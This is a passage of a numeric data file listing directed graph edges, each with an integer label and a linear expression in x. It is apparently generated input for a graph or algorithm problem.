+ 10612\n0->91\t91\t31541*x + 1605\n31->73\t102\t57191*x + 4168\n73->2\t72\t3343*x + 6952\n32->92\t51\t91573*x + 8708\n55->18\t80\t1453*x + 2408\n88->25\t52\t71341*x + 7454\n88->57\t109\t25057*x + 7305\n43->35\t88\t75533*x + 6688\n24->56\t119\t92461*x + 12645\n38->2\t72\t2011*x + 214\n49->40\t34\t43759*x + 7404\n59->17\t104\t26539*x + 5274\n29->37\t114\t2741*x + 589\n73->49\t68\t61487*x + 3462\n25->93\t98\t877*x + 645\n4->92\t51\t22067*x + 279\n42->33\t122\t69143*x + 6205\n99->0\t33\t9781*x + 7967\n71->79\t100\t84349*x + 13141\n78->84\t89\t92419*x + 14750\n43->15\t63\t63247*x + 4543\n0->38\t75\t29423*x + 201\n87->32\t69\t79579*x + 2285\n75->53\t120\t40759*x + 2528\n67->20\t62\t61657*x + 4118\n8->81\t32\t73517*x + 4697\n42->92\t51\t64301*x + 2277\n7->66\t44\t52571*x + 5424\n99->6\t123\t20341*x + 4666\n57->35\t88\t31513*x + 189\n34->35\t88\t28697*x + 3515\n78->37\t114\t34141*x + 4843\n26->79\t100\t1249*x + 1062\n1->4\t48\t19813*x + 247\n27->18\t80\t67349*x + 6620\n90->26\t81\t19081*x + 6956\n88->17\t104\t8761*x + 2801\n91->77\t106\t17321*x + 7917\n9->55\t39\t40933*x + 3838\n48->16\t66\t48437*x + 735\n38->7\t126\t8951*x + 2140\n34->83\t12\t19699*x + 3728\n21->70\t57\t70439*x + 6287\n70->40\t34\t104207*x + 11657\n6->26\t81\t47111*x + 7010\n11->81\t32\t59419*x + 402\n28->70\t57\t23071*x + 1593\n19->11\t43\t68963*x + 5452\n78->40\t34\t24151*x + 2470\n46->76\t124\t41333*x + 2414\n21->90\t86\t23899*x + 5390\n86->74\t55\t40351*x + 2693\n67->37\t114\t98717*x + 12265\n89->76\t124\t34703*x + 7956\n97->92\t51\t15131*x + 393\n81->82\t40\t39569*x + 462\n38->11\t43\t35537*x + 4491\n43->27\t58\t66089*x + 3429\n5->74\t55\t95881*x + 10937\n6->48\t78\t15809*x + 4429\n32->24\t65\t70529*x + 5460\n26->38\t75\t4643*x + 3564\n97->1\t112\t28387*x + 6277\n82->78\t76\t6277*x + 3525\n20->3\t118\t35507*x + 178\n7->29\t38\t51769*x + 3032\n46->94\t125\t20483*x + 2785\n70->25\t52\t71287*x + 325\n56->19\t61\t77731*x + 1248\n89->19\t61\t35423*x + 7668\n74->53\t120\t18379*x + 710\n22->32\t69\t43451*x + 6445\n74->69\t59\t60727*x + 5530\n26->94\t125\t94513*x + 9712\n29->23\t11\t49019*x + 923\n35->79\t100\t63823*x + 2869\n79->63\t60\t15053*x + 563\n92->93\t98\t57649*x + 3133\n71->7\t126\t94007*x + 9857\n83->71\t37\t65543*x + 1130\n12->4\t48\t4159*x + 2062\n39->45\t13\t68087*x + 6572\n65->40\t34\t6269*x + 4986\n6->15\t63\t71363*x + 5517\n71->82\t40\t81799*x + 7463\n72->56\t119\t74047*x + 714\n34->0\t33\t2593*x + 6154\n52->5\t82\t94819*x + 14525\n66->27\t58\t6869*x + 4406\n8->90\t86\t71879*x + 17\n78->79\t100\t82301*x + 2808\n77->14\t77\t13033*x + 3335\n55->40\t34\t41141*x + 7281\n88->95\t111\t93581*x + 9077\n18->15\t63\t20051*x + 962\n1->26\t81\t104231*x + 14635\n16->69\t59\t4651*x + 8018\n6->40\t34\t14321*x + 4012\n5->25\t52\t72271*x + 351\n33->54\t94\t59621*x + 4613\n46->98\t93\t23203*x + 6476\n19->41\t73\t28793*x + 831\n89->89\t107\t907*x + 1004\n34->21\t9\t59797*x + 246\n85->60\t85\t107*x + 128\n33->16\t66\t74653*x + 3649\n49->25\t52\t20963*x + 6905\n32->13\t99\t12763*x + 4484\n22->88\t71\t104651*x + 14150\n98->57\t109\t47363*x + 4008\n30->92\t51\t74843*x + 7900\n26->69\t59\t60289*x + 3550\n17->95\t111\t89393*x + 14327\n65->29\t38\t77773*x + 4138\n38->43\t105\t46877*x + 941\n93->28\t50\t56099*x + 6039\n50->48\t78\t18481*x + 7838\n71->61\t10\t69247*x + 3801\n83->19\t61\t13159*x + 3076\n88->64\t70\t21739*x + 2448\n84->51\t97\t54941*x + 30\n64->1\t112\t86293*x + 13366\n51->42\t87\t38611*x + 7643\n38->76\t124\t24767*x + 4321\n73->84\t89\t65437*x + 1220\n41->89\t107\t89899*x + 14697\n68->87\t121\t43951*x + 5784\n31->83\t12\t53623*x + 2152\n44->1\t112\t88463*x + 9247\n74->87\t121\t82021*x + 5412\n53->27\t58\t49297*x + 5207\n65->83\t12\t81649*x + 861\n56->98\t93\t9277*x + 3110\n95->55\t39\t68639*x + 1369\n6->0\t33\t83443*x + 4696\n40->71\t37\t36209*x + 8168\n5->26\t81\t5807*x + 5009\n37->29\t38\t79999*x + 2696\n33->8\t49\t64997*x + 4064\n16->18\t80\t5009*x + 3714\n51->10\t46\t94117*x + 10703\n13->30\t96\t67169*x + 534\n52->89\t107\t2297*x + 1197\n77->84\t89\t37379*x + 2985\n81->28\t50\t47093*x + 3529\n77->28\t50\t1619*x + 2314\n80->65\t95\t54403*x + 5144\n26->87\t121\t18457*x + 4197\n40->32\t69\t22273*x + 7471\n61->18\t80\t42797*x + 3845\n89->48\t78\t56237*x + 7055\n45->24\t65\t40841*x + 4607\n86->58\t35\t35731*x + 5898\n92->2\t72\t44773*x + 5924\n29->11\t43\t12743*x + 5964\n10->2\t72\t19979*x + 5711\n98->55\t39\t99713*x + 10522\n27->17\t104\t25457*x + 1135\n80->4\t48\t60919*x + 4363\n13->34\t41\t25609*x + 6465\n91->63\t60\t23581*x + 4965\n70->56\t119\t48731*x + 5725\n77->29\t38\t104149*x + 15689\n17->39\t113\t20443*x + 2350\n48->52\t42\t78193*x + 5543\n84->29\t38\t12809*x + 4635\n5->40\t34\t87623*x + 15162\n75->69\t59\t103643*x + 9984\n17->38\t75\t15643*x + 991\n98->87\t121\t733*x + 2189\n23->79\t100\t54139*x + 4985\n50->92\t51\t78593*x + 7484\n21->29\t38\t59123*x + 1052\n68->57\t109\t59957*x + 6194\n22->19\t61\t35171*x + 3530\n51->26\t81\t64399*x + 5707\n40->85\t83\t12049*x + 7521\n28->46\t74\t49559*x + 7583\n95->13\t99\t18049*x + 2918\n50->41\t73\t39541*x + 1027\n54->83\t12\t977*x + 4555\n94->77\t106\t85061*x + 13966\n63->52\t42\t8623*x + 3992\n62->21\t9\t14401*x + 7887\n81->37\t114\t29137*x + 6970\n46->30\t96\t7079*x + 3106\n64->55\t39\t31079*x + 560\n49->46\t74\t19379*x + 517\n83->62\t103\t58393*x + 4900\n22->13\t99\t39041*x + 3224\n24->88\t71\t15461*x + 5175\n23->73\t102\t46807*x + 7084\n95->33\t122\t1753*x + 6718\n54->2\t72\t7793*x + 2820\n10->3\t118\t41611*x + 6894\n63->95\t111\t3217*x + 5311\n73->40\t34\t43207*x + 2943\n80->31\t47\t26189*x + 4353\n32->91\t91\t36887*x + 6953\n17->21\t9\t65921*x + 689\n95->83\t12\t10453*x + 7719\n39->21\t9\t9157*x + 6203\n39->20\t62\t52937*x + 6455\n4->81\t32\t58693*x + 1594\n83->50\t116\t95461*x + 10273\n28->38\t75\t8431*x + 1073\n1->63\t60\t21787*x + 3612\n4->65\t95\t4801*x + 853\n85->94\t125\t40009*x + 1961\n39->28\t50\t73699*x + 1528\n70->73\t102\t54323*x + 20\n97->93\t98\t10303*x + 880\n43->63\t60\t457*x + 3286\n64->86\t53\t33619*x + 5396\n5->7\t126\t88919*x + 8630\n51->89\t107\t102547*x + 14242\n19->92\t51\t84317*x + 15762\n34->56\t119\t40693*x + 841\n38->60\t85\t10177*x + 5883\n14->32\t69\t85021*x + 8899\n30->99\t54\t65839*x + 4506\n38->66\t44\t24859*x + 2586\n66->78\t76\t73673*x + 2110\n36->33\t122\t44683*x + 2307\n64->77\t106\t95959*x + 13395\n49->58\t35\t25999*x + 6151\n30->6\t123\t15803*x + 4308\n53->86\t53\t88223*x + 13049\n0->99\t54\t60659*x + 4328\n69->9\t115\t1229*x + 6670\n16->0\t33\t98801*x + 12428\n77->51\t97\t69371*x + 2009\n77->52\t42\t20599*x + 6327\n99->8\t49\t58921*x + 7041\n69->74\t55\t2557*x + 1677\n34->51\t97\t50051*x + 6077\n32->95\t111\t88301*x + 11576\n89->94\t125\t35419*x + 3684\n84->1\t112\t52817*x + 4137\n22->57\t109\t94613*x + 8200\n86->75\t56\t24509*x + 6795\n86->43\t105\t75217*x + 1830\n32->30\t96\t1093*x + 5584\n63->62\t103\t21937*x + 4237\n98->58\t35\t78347*x + 3261\n36->74\t55\t7309*x + 4392\n62->15\t63\t78713*x + 1131\n89->21\t9\t63391*x + 4245\n83->75\t56\t15361*x + 4418\n52->72\t92\t20521*x + 5016\n94->76\t124\t90437*x + 12898\n73->64\t70\t3863*x + 2343\n63->5\t82\t53611*x + 585\n1->5\t82\t727*x + 7539\n0->92\t51\t65213*x + 1855\n59->70\t57\t21017*x + 5131\n35->18\t80\t43283*x + 1696\n90->66\t44\t18899*x + 946\n29->56\t119\t2801*x + 4394\n57->30\t96\t5737*x + 4670\n1->21\t9\t21991*x + 7117\n46->86\t53\t26083*x + 6702\n35->70\t57\t51713*x + 4573\n31->25\t52\t14551*x + 2986\n34->60\t85\t58733*x + 5125\n6->36\t79\t44389*x + 3377\n69->49\t68\t39079*x + 7413\n57->27\t58\t373*x + 5152\n18->32\t69\t82493*x + 3898\n73->20\t62\t48953*x + 8114\n39->78\t76\t75629*x + 7512\n36->35\t88\t65101*x + 7975\n31->3\t118\t20393*x + 5163\n24->15\t63\t17383*x + 6332\n44->97\t108\t5387*x + 2870\n0->88\t71\t4561*x + 7434\n59->56\t119\t54583*x + 7205\n14->98\t93\t55001*x + 612\n23->4\t48\t54287*x + 2027\n74->91\t91\t7949*x + 6656\n11->50\t116\t103217*x + 12389\n29->26\t81\t25601*x + 4871\n81->88\t71\t72173*x + 1426\n90->85\t83\t77527*x + 6118\n24->44\t45\t26863*x + 1008\n92->34\t41\t65843*x + 5268\n93->16\t66\t101399*x + 10880\n42->16\t66\t61961*x + 7903\n37->62\t103\t77017*x + 8121\n4->35\t88\t54541*x + 2531\n62->99\t54\t77243*x + 7311\n4->57\t109\t22721*x + 8001\n88->22\t64\t3823*x + 491\n12->69\t59\t3079*x + 4504\n59->16\t66\t23003*x + 3817\n64->84\t89\t88843*x + 12185\n78->85\t83\t19037*x + 891\n28->30\t96\t97649*x + 13898\n24->0\t33\t389*x + 6149\n76->20\t62\t20183*x + 1141\n69->0\t33\t28393*x + 7919\n61->10\t46\t41627*x + 7735\n98->21\t9\t83617*x + 4119\n76->80\t110\t2591*x + 681\n80->79\t100\t13931*x + 1531\n78->15\t63\t17489*x + 3357\n3->65\t95\t102451*x + 9553\n0->45\t13\t62017*x + 1796\n74->30\t96\t19697*x + 6395\n19->12\t101\t23173*x + 1118\n22->87\t121\t46051*x + 7712\n31->45\t13\t101627*x + 13093\n81->65\t95\t19889*x + 2615\n16->43\t105\t27527*x + 7418\n33->13\t99\t16091*x + 2931\n24->97\t108\t33857*x + 1120\n60->42\t87\t44273*x + 6208\n25->19\t61\t54949*x + 6871\n79->58\t35\t63463*x + 3013\n28->76\t124\t92479*x + 14492\n17->43\t105\t11677*x + 1638\n3->4\t48\t12451*x + 5716\n81->13\t99\t36097*x + 7588\n91->95\t111\t6619*x + 3688\n88->9\t115\t99397*x + 9090\n28->67\t117\t78737*x + 5149\n16->73\t102\t104053*x + 13850\n77->35\t88\t97561*x + 10091\n85->48\t78\t23743*x + 7654\n95->94\t125\t6661*x + 2921\n87->28\t50\t50411*x + 6571\n37->82\t40\t98479*x + 15664\n77->82\t40\t51581*x + 2519\n54->5\t82\t61331*x + 4313\n37->76\t124\t4931*x + 2206\n69->89\t107\t28597*x + 2606\n69->62\t103\t39043*x + 5133\n46->11\t43\t63743*x + 6416\n21->43\t105\t51869*x + 3024\n75->18\t80\t67*x + 267\n69->58\t35\t77617*x + 1381\n39->15\t63\t39209*x + 4623\n77->30\t96\t62497*x + 1751\n18->31\t47\t86573*x + 12283\n8->79\t100\t24821*x + 1784\n4->12\t101\t14929*x + 6495\n57->84\t89\t64969*x + 4131\n54->97\t108\t43037*x + 649\n35->88\t71\t80207*x + 3815\n12->88\t71\t45541*x + 3761\n30->73\t102\t80783*x + 6574\n61->23\t11\t5147*x + 6167\n80->69\t59\t25667*x + 6707\n81->76\t124\t17929*x + 8159\n9->98\t93\t44917*x + 5820\n15->15\t63\t409*x + 6055\n52->53\t120\t58169*x + 7856\n16->78\t76\t64439*x + 410\n63->43\t105\t59611*x + 4322\n60->69\t59\t58741*x + 2313\n25->47\t90\t3331*x + 2913\n43->32\t69\t103903*x + 12110\n20->5\t82\t67829*x + 4627\n28->80\t110\t37087*x + 4320\n81->70\t57\t36457*x + 7865\n59->25\t52\t10753*x + 3344\n14->38\t75\t75277*x + 1570\n91->39\t113\t90749*x + 10908\n89->69\t59\t78437*x + 4767\n54->81\t32\t31259*x + 3890\n1->68\t36\t32467*x + 4877\n6->42\t87\t27583*x + 1684\n73->37\t114\t1031*x + 1972\n75->87\t121\t57773*x + 2614\n83->14\t77\t67723*x + 6928\n38->37\t114\t93637*x + 12735\n22->36\t79\t66361*x + 2271\n35->23\t11\t3299*x + 619\n4->89\t107\t40751*x + 3074\n83->97\t108\t69233*x + 125\n36->56\t119\t73061*x + 970\n5->18\t80\t65809*x + 4966\n15->96\t67\t38189*x + 6849\n8->36\t79\t31741*x + 4518\n61->64\t70\t27691*x + 794\n94->30\t96\t4283*x + 367\n69->92\t51\t13751*x + 2757\n85->32\t69\t11027*x + 3383\n30->47\t90\t33931*x + 2645\n54->71\t37\t62473*x + 341\n54->6\t123\t64223*x + 2721\n50->88\t71\t82393*x + 1437\n42->93\t98\t26699*x + 7345\n77->39\t113\t6367*x + 1089\n87->52\t42\t37987*x + 3182\n6->2\t72\t36067*x + 1592\n6->25\t52\t66109*x + 6140\n31->43\t105\t103913*x + 15614\n1->18\t80\t73973*x + 449\n51->74\t55\t61643*x + 5415\n3->1\t112\t100999*x + 8546\n69->25\t52\t17911*x + 2065\n49->5\t82\t90379*x + 14023\n24->49\t68\t67631*x + 7229\n38->79\t100\t3881*x + 6642\n27->77\t106\t104659*x + 13727\n96->34\t41\t41467*x + 4753\n71->3\t118\t3761*x + 5270\n66->66\t44\t81359*x + 3443\n42->10\t46\t29389*x + 6441\n17->34\t41\t23371*x + 4605\n30->90\t86\t94307*x + 13411\n22->60\t85\t11321*x + 7247\n53->4\t48\t100459*x + 16074\n25->40\t34\t88177*x + 16329\n44->44\t45\t100957*x + 16342\n85->80\t110\t40013*x + 7426\n28->23\t11\t94399*x + 13023\n6->75\t56\t60353*x + 5102\n57->60\t85\t80603*x + 927\n13->48\t78\t51787*x + 1169\n79->94\t125\t40123*x + 1199\n64->27\t58\t10501*x + 6379\n79->47\t90\t65393*x + 6815\n49->7\t126\t38197*x + 7223\n50->87\t121\t32621*x + 3768\n24->40\t34\t33961*x + 7959\n25->48\t78\t5653*x + 6662\n3->74\t55\t49697*x + 6805\n4->67\t117\t40927*x + 195\n2->77\t106\t96079*x + 16172\n67->86\t53\t29569*x + 2525\n58->95\t111\t25453*x + 2848\n83->68\t36\t66751*x + 7476\n60->11\t43\t28663*x + 7585\n55->2\t72\t1493*x + 7469\n29->12\t101\t55633*x + 7825\n19->93\t98\t74531*x + 2254\n90->68\t36\t24631*x + 795\n20->97\t108\t78941*x + 2507\n21->75\t56\t30347*x + 1356\n68->62\t103\t100559*x + 10082\n14->99\t54\t27733*x + 5244\n3->28\t50\t98893*x + 13796\n26->62\t103\t65579*x + 4007\n82->55\t39\t34267*x + 7610\n73->32\t69\t23801*x + 7370\n23->38\t75\t23357*x + 3691\n36->41\t73\t91397*x + 10307\n14->60\t85\t2971*x + 2021\n57->13\t99\t9011*x + 1212\n23->16\t66\t85621*x + 10985\n29->97\t108\t30187*x + 3532\n42->42\t87\t66701*x + 2780\n58->15\t63\t19381*x + 4127\n67->34\t41\t42257*x + 5641\n6->52\t42\t44909*x + 4799\n89->23\t11\t20903*x + 3016\n66->86\t53\t93719*x + 16238\n47->53\t120\t30137*x + 5753\n25->55\t39\t38921*x + 229\n93->72\t92\t9817*x + 1306\n1->38\t75\t90217*x + 9626\n69->32\t69\t104009*x + 11153\n30->68\t36\t12923*x + 6819\n87->98\t93\t7043*x + 3842\n43->17\t104\t12253*x + 2639\n26->88\t71\t86249*x + 11589\n83->94\t125\t99439*x + 9587\n57->38\t75\t93251*x + 16366\n99->49\t68\t43597*x + 1361\n34->25\t52\t99023*x + 10789\n78->22\t64\t46103*x + 2601\n83->39\t113\t76871*x + 1210\n98->20\t62\t79283*x + 6392\n27->19\t61\t56591*x + 7516\n10->99\t54\t77317*x + 5675\n7->50\t116\t58411*x + 2081\n97->45\t13\t167*x + 7017\n77->27\t58\t98729*x + 14305\n49->47\t90\t3779*x + 16\n95->17\t104\t85853*x + 12701\n71->27\t58\t51427*x + 4371\n62->9\t115\t23887*x + 5942\n38->31\t47\t42193*x + 3270\n59->90\t86\t23399*x + 4382\n87->59\t84\t2791*x + 1884\n62->34\t41\t89381*x + 11831\n65->70\t57\t10099*x + 988\n35->76\t124\t29851*x + 3162\n32->0\t33\t1861*x + 6598\n95->67\t117\t97861*x + 16169\n74->9\t115\t52301*x + 926\n18->96\t67\t101009*x + 9745\n10->9\t115\t21491*x + 4633\n8->76\t124\t20593*x + 5581\n10->90\t86\t38153*x + 2364\n66->12\t101\t7159*x + 3635\n32->84\t89\t101737*x + 12169\n80->62\t103\t35951*x + 442\n5->59\t84\t102199*x + 15277\n88->31\t47\t28711*x + 2215\n15->29\t38\t42743*x + 2495\n94->85\t83\t41039*x + 2741\n95->62\t103\t39563*x + 943\n94->51\t97\t3889*x + 73\n53->72\t92\t61141*x + 3369\n7->95\t111\t90473*x + 15920\n8->83\t12\t34807*x + 4539\n97->79\t100\t10369*x + 1734\n44->65\t95\t83873*x + 4637\n69->90\t86\t9929*x + 3407\n20->22\t64\t66863*x + 3292\n99->70\t57\t52259*x + 3575\n52->98\t93\t51817*x + 1895\n70->26\t81\t36541*x + 1019\n36->98\t93\t37201*x + 5475\n73->79\t100\t4517*x + 4819\n15->73\t102\t42589*x + 4643\n51->12\t101\t45281*x + 6991\n95->30\t96\t54251*x + 1093\n3->91\t91\t4691*x + 6810\n90->45\t13\t93503*x + 15487\n60->63\t60\t46679*x + 652\n46->26\t81\t67043*x + 6879\n96->92\t51\t9209*x + 7034\n41->93\t98\t34847*x + 629\n6->34\t41\t90803*x + 15701\n91->80\t110\t83077*x + 996\n11->84\t89\t87049*x + 10446\n59->99\t54\t26153*x + 1216\n42->14\t77\t97127*x + 16352\n11->90\t86\t26987*x + 4805\n26->33\t122\t10957*x + 6638\n7->19\t61\t93307*x + 10541\n45->91\t91\t7237*x + 4639\n33->72\t92\t11443*x + 7845\n82->39\t113\t34499*x + 7028\n93->2\t72\t547*x + 2978\n74->44\t45\t23599*x + 3590\n40->94\t125\t6791*x + 7270\n21->22\t64\t6151*x + 704\n19->52\t42\t97157*x + 12229\n12->0\t33\t4649*x + 2395\n44->28\t50\t53093*x + 3888\n87->87\t121\t57347*x + 5353\n33->68\t36\t71129*x + 4184\n18->41\t73\t1777*x + 7267\n38->91\t91\t39047*x + 3367\n95->40\t34\t41603*x + 6360\n12->74\t55\t76493*x + 2368\n8->38\t75\t13267*x + 1692\n15->2\t72\t23977*x + 1585\n66->0\t33\t92009*x + 9810\n53->91\t91\t3673*x + 6977\n23->41\t73\t92363*x + 9724\n24->57\t109\t42043*x + 7616\n95->3\t118\t74597*x + 6340\n83->60\t85\t60149*x + 6175\n41->66\t44\t104033*x + 13863\n60->22\t64\t51461*x + 7578\n12->94\t125\t26171*x + 4558\n90->2\t72\t35869*x + 5516\n72->55\t39\t24091*x + 1962\n87->64\t70\t7669*x + 7129\n29->80\t110\t32359*x + 121\n15->17\t104\t30133*x + 685\n39->23\t11\t73681*x + 1687\n17->93\t98\t72907*x + 435\n2->71\t37\t62791*x + 4785\n13->35\t88\t32507*x + 5453\n89->2\t72\t6967*x + 6531\n7->39\t113\t55213*x + 6344\n9->9\t115\t95429*x + 15396\n43->3\t118\t44071*x + 5298\n84->38\t75\t25087*x + 2243\n80->90\t86\t24181*x + 3841\n48->56\t119\t92551*x + 12949\n23->78\t76\t6197*x + 3935\n70->86\t53\t72973*x + 4415\n3->67\t117\t72911*x + 118\n96->58\t35\t100811*x + 13326\n81->33\t122\t76991*x + 6741\n57->10\t46\t53047*x + 7141\n75->32\t69\t8753*x + 6514\n22->75\t56\t31051*x + 2214\n23->96\t67\t5119*x + 5381\n65->62\t103\t37019*x + 4774\n27->90\t86\t69857*x + 36\n75->55\t39\t50359*x + 1038\n79->51\t97\t34487*x + 1794\n46->81\t32\t35099*x + 1394\n73->90\t86\t51797*x + 26\n9->65\t95\t87491*x + 11281\n18->83\t12\t75833*x + 2475\n35->11\t43\t72763*x + 4828\n41->28\t50\t54667*x + 8124\n19->79\t100\t36073*x + 199\n70->13\t99\t83597*x + 6329\n83->3\t118\t13331*x + 6938\n30->4\t48\t439*x + 5225\n58->17\t104\t15241*x + 1129\n37->67\t117\t541*x + 3066\n86->50\t116\t47051*x + 3972\n15->6\t123\t79087*x + 3030\n7->87\t121\t84181*x + 14352\n67->68\t36\t39341*x + 5317\n88->21\t9\t4943*x + 8115\n52->23\t11\t101267*x + 14408\n92->79\t100\t10937*x + 670\n2->64\t70\t37117*x + 3811\n67->22\t64\t49529*x + 2734\n89->73\t102\t29989*x + 3556\n31->2\t72\t97*x + 3097\n56->49\t68\t13187*x + 3825\n63->13\t99\t44789*x + 266\n87->17\t104\t17977*x + 7978\n13->36\t79\t20789*x + 5434\n8->78\t76\t10477*x + 245\n66->56\t119\t94693*x + 9200\n66->19\t61\t30197*x + 5970\n56->26\t81\t21977*x + 5118\n20->51\t97\t57467*x + 3091\n94->34\t41\t54133*x + 5627\n46->17\t104\t36899*x + 812\n9->91\t91\t1831*x + 4109\n99->18\t80\t51511*x + 2807\n91->2\t72\t21391*x + 1014\n70->15\t63\t72643*x + 489\n22->30\t96\t24043*x + 3317\n25->37\t114\t78901*x + 6086\n33->38\t75\t70271*x + 3469\n96->7\t126\t94793*x + 14564\n29->2\t72\t98507*x + 12001\n87->38\t75\t77239*x + 6369\n42->18\t80\t63689*x + 5148\n84->17\t104\t18719*x + 5944\n76->58\t35\t44753*x + 1461\n28->43\t105\t22699*x + 7931\n71->0\t33\t55901*x + 307\n0->96\t67\t5437*x + 6491\n71->9\t115\t10337*x + 1105\n58->89\t107\t64123*x + 7455\n69->4\t48\t74861*x + 3677\n6->94\t125\t51647*x + 545\n70->42\t87\t52957*x + 326\n64->87\t121\t100183*x + 8523\n57->79\t100\t74017*x + 1329\n91->51\t97\t88819*x + 8904\n45->87\t121\t25639*x + 5449\n87->34\t41\t10861*x + 7335\n82->67\t117\t87797*x + 12082\n47->97\t108\t11177*x + 5608\n65->38\t75\t25309*x + 7644\n88->20\t62\t34381*x + 1900\n86->24\t65\t44657*x + 3970\n50->18\t80\t63211*x + 2884\n23->95\t111\t53129*x + 9\n0->64\t70\t68147*x + 1006\n62->10\t46\t11491*x + 106\n33->67\t117\t69877*x + 3322\n76->95\t111\t63281*x + 2237\n62->16\t66\t3457*x + 2351\n16->26\t81\t50111*x + 2618\n54->3\t118\t27697*x + 5469\n14->17\t104\t53051*x + 789\n70->29\t38\t51893*x + 7896\n0->84\t89\t65557*x + 5266\n13->71\t37\t337*x + 5071\n17->48\t78\t29833*x + 5436\n85->72\t92\t23633*x + 1872\n21->80\t110\t99053*x + 9062\n55->83\t12\t52153*x + 7785\n66->62\t103\t55823*x + 165\n33->45\t13\t4289*x + 2970\n52->87\t121\t38861*x + 4310\n90->67\t117\t30467*x + 3008\n27->83\t12\t11083*x + 6685\n99->58\t35\t17827*x + 5260\n23->89\t107\t66449*x + 2984\n43->78\t76\t79309*x + 7327\n78->56\t119\t73751*x + 1483\n25->65\t95\t54547*x + 3428\n64->21\t9\t7103*x + 5362\n33->98\t93\t641*x + 1449\n60->7\t126\t29201*x + 7142\n21->42\t87\t91753*x + 10695\n1->72\t92\t21881*x + 6083\n12->70\t57\t74471*x + 7053\n84->72\t92\t70163*x + 5114\n0->68\t36\t36637*x + 446\n78->99\t54\t13597*x + 5159\n46->49\t68\t51059*x + 7630\n23->84\t89\t16231*x + 2975\n9->68\t36\t2447*x + 6343\n79->73\t102\t101561*x + 10508\n24->70\t57\t74161*x + 4855\n58->94\t125\t95239*x + 15709\n1->69\t59\t3613*x + 6043\n61->29\t38\t78887*x + 2873\n52->80\t110\t14831*x + 4441\n81->31\t47\t89599*x + 16350\n26->12\t101\t43573*x + 1719\n62->13\t99\t36241*x + 1036\n26->91\t91\t83219*x + 1229\n89->97\t108\t71249*x + 7953\n49->18\t80\t60343*x + 1154\n3->40\t34\t17659*x + 4780\n37->99\t54\t52291*x + 4955\n87->31\t47\t39937*x + 3173\n76->5\t82\t33181*x + 7522\n73->78\t76\t17957*x + 3682\n22->23\t11\t49169*x + 5030\n9->7\t126\t48647*x + 2376\n7->17\t104\t11*x + 6040\n62->74\t55\t31091*x + 4734\n84->48\t78\t16649*x + 904\n69->67\t117\t34759*x + 4129\n38->64\t70\t37811*x + 1614\n27->81\t32\t47041*x + 1254\n71->12\t101\t80111*x + 6249\n73->16\t66\t5431*x + 3210\n40->52\t42\t44729*x + 4845\n53->77\t106\t86257*x + 12066\n54->36\t79\t59083*x + 4060\n92->27\t58\t60901*x + 8000\n93->79\t100\t3307*x + 1565\n62->48\t78\t27239*x + 3064\n59->29\t38\t3593*x + 1799\n76->60\t85\t50723*x + 3993\n91->61\t10\t77093*x + 2149\n60->30\t96\t81677*x + 5384\n49->84\t89\t34301*x + 3197\n53->80\t110\t71807*x + 7663\n51->56\t119\t26687*x + 2275\n42->71\t37\t98981*x + 14857\n41->27\t58\t82349*x + 2109\n31->13\t99\t96643*x + 10176\n74->77\t106\t7759*x + 1537\n93->75\t56\t71809*x + 6615\n24->96\t67\t64817*x + 6840\n75->54\t94\t64793*x + 5137\n7->13\t99\t19121*x + 6002\n28->73\t102\t51071*x + 6533\n96->18\t80\t68947*x + 2173\n97->59\t84\t13177*x + 6235\n94->42\t87\t15031*x + 3685\n82->7\t126\t52057*x + 5054\n89->38\t75\t21751*x + 1768\n70->77\t106\t73637*x + 2930\n22->51\t97\t49123*x + 4798\n44->18\t80\t56299*x + 1243\n18->92\t51\t75913*x + 3758\n57->97\t108\t85889*x + 10414\n78->90\t86\t40111*x + 730\n67->43\t105\t32939*x + 4257\n65->95\t111\t98731*x + 13155\n3->10\t46\t86689*x + 9184\n48->75\t56\t50773*x + 7604\n52->68\t36\t57107*x + 1048\n49->88\t71\t99181*x + 16052\n62->91\t91\t88237*x + 8376\n42->57\t109\t14389*x + 5837\n58->37\t114\t15233*x + 5233\n74->66\t44\t43717*x + 2526\n9->71\t37\t21893*x + 7992\n95->96\t67\t31469*x + 4661\n22->6\t123\t57587*x + 1344\n2->52\t42\t87517*x + 15104\n21->26\t81\t5801*x + 3540\n47->80\t110\t47491*x + 7218\n83->49\t68\t52883*x + 254\n1->66\t44\t44893*x + 6788\n90->42\t87\t69697*x + 3788\n75->64\t70\t79153*x + 6432\n21->65\t95\t34519*x + 6674\n81->26\t81\t89269*x + 13568\n23->13\t99\t89753*x + 9496\n55->63\t60\t90373*x + 12402\n42->73\t102\t66491*x + 5022\n78->74\t55\t10789*x + 2641\n88->54\t94\t103657*x + 15340\n59->19\t61\t44971*x + 3247\n52->32\t69\t92083*x + 15604\n99->40\t34\t59663*x + 3028\n42->9\t115\t95713*x + 12544\n37->4\t48\t70373*x + 7230\n47->18\t80\t41201*x + 3690\n83->66\t44\t68567*x + 5586\n75->85\t83\t53503*x + 981\n6->38\t75\t64153*x + 6482\n9->59\t84\t58679*x + 903\n10->68\t36\t57853*x + 6581\n86->88\t71\t75767*x + 3576\n21->74\t55\t48491*x + 6604\n49->31\t47\t25819*x + 3235\n13->37\t114\t17981*x + 7377\n20->91\t91\t35117*x + 278\n69->50\t116\t1789*x + 5769\n41->33\t122\t94309*x + 14360\n0->15\t63\t49429*x + 2223\n6->9\t115\t18341*x + 6937\n10->35\t88\t67231*x + 1345\n3->51\t97\t56929*x + 2862\n84->45\t13\t99787*x + 14491\n83->95\t111\t17573*x + 78\n99->85\t83\t81689*x + 3342\n83->70\t57\t10993*x + 520\n24->84\t89\t86083*x + 12840\n84->65\t95\t75583*x + 5364\n21->12\t101\t96263*x + 12889\n51->38\t75\t53591*x + 3251\n14->50\t116\t91081*x + 13948\n95->18\t80\t29683*x + 4672\n54->59\t84\t46663*x + 4921\n58->11\t43\t46351*x + 1575\n6->1\t112\t77929*x + 1204\n47->33\t122\t28547*x + 3160\n80->3\t118\t151*x + 7527\n24->48\t78\t55697*x + 1950\n79->77\t106\t37273*x + 7819\n33->6\t123\t3167*x + 816\n35->36\t79\t46307*x + 4295\n50->64\t70\t56911*x + 1419\n11->2\t72\t33149*x + 1486\n33->88\t71\t25981*x + 6523\n44->98\t93\t17449*x + 5365\n46->66\t44\t77551*x + 8156\n1->41\t73\t99929*x + 10032\n67->91\t91\t76631*x + 285\n94->74\t55\t32561*x + 7675\n71->31\t47\t56479*x + 2170\n0->42\t87\t85781*x + 10471\n81->24\t65\t34939*x + 7054\n73->3\t118\t1283*x + 2384\n57->51\t97\t42841*x + 1828\n26->61\t10\t36643*x + 5886\n84->85\t83\t49999*x + 2557\n36->23\t11\t88259*x + 